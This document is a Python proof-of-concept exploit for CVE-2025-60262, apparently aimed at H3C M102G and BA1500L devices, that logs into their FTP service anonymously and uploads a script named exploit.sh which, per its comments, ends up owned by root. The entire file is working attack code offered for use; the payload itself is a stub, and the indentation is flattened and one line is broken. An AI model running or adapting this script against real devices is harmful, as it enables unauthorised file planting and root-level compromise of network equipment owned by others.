# CVE-2025-60262 PoC - H3C vsftpd Anonymous Root File Upload
# Affected: H3C M102G HM1A0V200R010, BA1500L SWBA1A0V100R006
import socket
import sys
def ftp_anonymous_login(host, port=21):
"""Connect to FTP server and attempt anonymous login"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
resp = sock.recv(1024)
print(f"[+] Server response: {resp.decode().strip()}")
# Send USER command with anonymous
sock.send(b"USER anonymous\r\n")
resp = sock.recv(1024)
print(f"[+] USER response: {resp.decode().strip()}")
# Send PASS command with any email
sock.send(b"PASS
[email protected]\r\n")
resp = sock.recv(1024)
print(f"[+] PASS response: {resp.decode().strip()}")
if "230" in resp.decode():
print("[+] Anonymous login successful!")
return sock
return None
except Exception as e:
print(f"[-] Connection error: {e}")
return None
def upload_file(sock, filename, content):
"""Upload file via FTP in passive mode"""
try:
# Enter passive mode
sock.send(b"PASV\r\n")
resp = sock.recv(1024)
print(f"[+] PASV response: {resp.decode().strip()}")
# Extract data port from response
# Format: 227 Entering Passive Mode (h1,h2,h3,h4,p1,p2)
if "227" in resp.decode():
# Parse IP and port
import re
match = re.search(r'\((\d+),(\d+),(\d+),(\d+),(\d+),(\d+)\)', resp.decode())
if match:
data_ip = f"{match.group(1)}.{match.group(2)}.{match.group(3)}.{match.group(4)}"
data_port = int(match.group(5)) * 256 + int(match.group(6))
# Start data connection
data_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
data_sock.connect((data_ip, data_port))
# Send STOR command
sock.send(f"STOR {filename}\r\n".encode())
resp = sock.recv(1024)
print(f"[+] STOR response: {resp.decode().strip()}")
# Upload content
data_sock.send(content.encode())
data_sock.close()
resp = sock.recv(1024)
print(f"[+] Upload complete: {resp.decode().strip()}")
return True
return False
except Exception as e:
print(f"[-] Upload error: {e}")
return False
def main():
if len(sys.argv) < 2:
print("Usage: python cve-2025-60262.py <target_ip>")
sys.exit(1)
target = sys.argv[1]
print(f"[*] Testing CVE-2025-60262 on {target}")
# Step 1: Anonymous login
ftp_sock = ftp_anonymous_login(target)
if not ftp_sock:
print("[-] Failed to login anonymously")
sys.exit(1)
# Step 2: Upload malicious file
# This file will be owned by root due to the misconfiguration
malicious_content = "#!/bin/bash\n# Malicious script - will be executed with root privileges\n"
upload_file(ftp_sock, "exploit.sh", malicious_content)
# Step 3: Cleanup
ftp_sock.send(b"QUIT\r\n")
ftp_sock.close()
print("[*] Exploitation complete - check if file is owned by root")
if __name__ == "__main__":
main()